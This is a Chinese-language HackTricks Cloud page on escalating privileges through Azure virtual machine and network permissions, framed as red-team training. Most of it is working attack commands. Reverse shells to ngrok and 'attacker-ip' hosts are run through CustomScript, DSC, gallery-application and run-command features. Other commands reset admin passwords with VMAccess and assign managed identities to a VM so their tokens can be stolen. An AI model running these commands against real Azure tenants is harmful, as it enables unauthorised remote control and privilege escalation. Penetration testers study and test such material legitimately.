Az - 虚拟机与网络权限提升
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
虚拟机与网络
有关 Azure 虚拟机和网络的更多信息,请查看:
Az - Virtual Machines & Network
Microsoft.Compute/virtualMachines/extensions/write
此权限允许在虚拟机中执行扩展,从而允许在其上执行任意代码。
滥用自定义扩展在 VM 中执行任意命令的示例:
- 执行反向 shell
# Prepare the rev shell
echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==
# Execute rev shell
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
- 执行位于互联网上的脚本
az vm extension set \
--resource-group rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'
还可以利用知名扩展在虚拟机内执行代码或执行特权操作:
VMAccess 扩展
此扩展允许修改 Windows 虚拟机内用户的密码(如果不存在则创建)。
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
DesiredConfigurationState (DSC)
这是一个属于微软的VM扩展,使用PowerShell DSC来管理Azure Windows虚拟机的配置。因此,它可以通过此扩展在Windows虚拟机中执行任意命令:
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
Script ReverseShell {
GetScript = { @{} }
SetScript = {
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length)
}
$client.Close()
}
TestScript = { return $false }
}
}
}
RevShellConfig -OutputPath .\Output
# Upload config to blob
$resourceGroup = 'dscVmDemo'
$storageName = 'demostorage'
Publish-AzVMDscConfiguration `
-ConfigurationPath .\revShell.ps1 `
-ResourceGroupName $resourceGroup `
-StorageAccountName $storageName `
-Force
# Apply DSC to VM and execute rev shell
$vmName = 'myVM'
Set-AzVMDscExtension `
-Version '2.76' `
-ResourceGroupName $resourceGroup `
-VMName $vmName `
-ArchiveStorageAccountName $storageName `
-ArchiveBlobName 'revShell.ps1.zip' `
-AutoUpdate `
-ConfigurationName 'RevShellConfig'
混合运行簿工作者
这是一个 VM 扩展,允许从自动化帐户在 VM 中执行运行簿。有关更多信息,请查看 Automation Accounts service。
Microsoft.Compute/disks/write, Microsoft.Network/networkInterfaces/join/action, Microsoft.Compute/virtualMachines/write, (Microsoft.Compute/galleries/applications/write, Microsoft.Compute/galleries/applications/versions/write)
这些是 在 VM 中创建新画廊应用程序并执行它 所需的权限。画廊应用程序可以执行任何操作,因此攻击者可能会利用这一点来妥协执行任意命令的 VM 实例。
最后两个权限可以通过与租户共享应用程序来避免。
利用示例以执行任意命令:
# Create gallery (if the isn't any)
az sig create --resource-group myResourceGroup \
--gallery-name myGallery --location "West US 2"
# Create application container
az sig gallery-application create \
--application-name myReverseShellApp \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Linux \
--location "West US 2"
# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
az sig gallery-application version create \
--version-name 1.0.2 \
--application-name myReverseShellApp \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"
# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name <vm-name> \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
--treat-deployment-as-failure true
Microsoft.Compute/virtualMachines/runCommand/action
这是 Azure 提供的最基本机制,用于 在虚拟机中执行任意命令:
# Execute rev shell
az vm run-command invoke \
--resource-group <rsc-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts @revshell.sh
# revshell.sh file content
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh
Microsoft.Compute/virtualMachines/login/action
此权限允许用户通过 SSH 或 RDP 登录到 VM(只要在 VM 中启用了 Entra ID 身份验证)。
通过 SSH 使用 az ssh vm --name <vm-name> --resource-group <rsc-group> 登录,通过 RDP 使用您的 常规 Azure 凭据 登录。
Microsoft.Compute/virtualMachines/loginAsAdmin/action
此权限允许用户通过 SSH 或 RDP 登录到 VM(只要在 VM 中启用了 Entra ID 身份验证)。
通过 SSH 使用 az ssh vm --name <vm-name> --resource-group <rsc-group> 登录,通过 RDP 使用您的 常规 Azure 凭据 登录。
Microsoft.Resources/deployments/write, Microsoft.Network/virtualNetworks/write, Microsoft.Network/networkSecurityGroups/write, Microsoft.Network/networkSecurityGroups/join/action, Microsoft.Network/publicIPAddresses/write, Microsoft.Network/publicIPAddresses/join/action, Microsoft.Network/networkInterfaces/write, Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action, Microsoft.Network/networkInterfaces/join/action, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
所有这些都是 创建具有特定托管身份的 VM 并保持 端口开放(在这种情况下为 22)所需的权限。这允许用户创建 VM 并连接到它,并 窃取托管身份令牌 以提升权限。
根据情况,可能需要更多或更少的权限来滥用此技术。
az vm create \
--resource-group Resource_Group_1 \
--name cli_vm \
--image Ubuntu2204 \
--admin-username azureuser \
--generate-ssh-keys \
--assign-identity /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourcegroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity \
--nsg-rule ssh \
--location "centralus"
# By default pub key from ~/.ssh is used (if none, it's generated there)
Microsoft.Compute/virtualMachines/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
这些权限足以将新的托管身份分配给虚拟机。请注意,虚拟机可以有多个托管身份。它可以有系统分配的身份和多个用户管理的身份。
然后,从元数据服务可以为每个身份生成令牌。
# Get currently assigned managed identities to the VM
az vm identity show \
--resource-group <rsc-group> \
--name <vm-name>
# Assign several managed identities to a VM
az vm identity assign \
--resource-group <rsc-group> \
--name <vm-name> \
--identities \
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2
然后攻击者需要以某种方式攻陷虚拟机以窃取分配的托管身份的令牌。查看更多信息:
Microsoft.Compute/virtualMachines/read, Microsoft.Compute/virtualMachines/write, Microsoft.Compute/virtualMachines/extensions/read, Microsoft.Compute/virtualMachines/extensions/write
这些权限允许更改虚拟机用户和密码以访问它:
az vm user update \
--resource-group <RESOURCE_GROUP_NAME> \
--name <VM_NAME> \
--username <USERNAME> \
--password <NEW_PASSWORD>
Microsoft.Compute/virtualMachines/write, “Microsoft.Compute/virtualMachines/read”, “Microsoft.Compute/disks/read”, “Microsoft.Network/networkInterfaces/read”, “Microsoft.Network/networkInterfaces/join/action”, “Microsoft.Compute/disks/write”.
这些权限允许您管理磁盘和网络接口,并使您能够将磁盘附加到虚拟机。
# Update the disk's network access policy
az disk update \
--name <disk-name> \
--resource-group <resource-group-name> \
--network-access-policy AllowAll
# Attach the disk to a virtual machine
az vm disk attach \
--vm-name <vm-name> \
--resource-group <resource-group-name> \
--name <disk-name>
TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action
根据文档,此权限允许您通过 Windows Admin Center 以管理员身份管理资源的操作系统。因此,这似乎允许访问 WAC 来控制虚拟机…
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
HackTricks Cloud

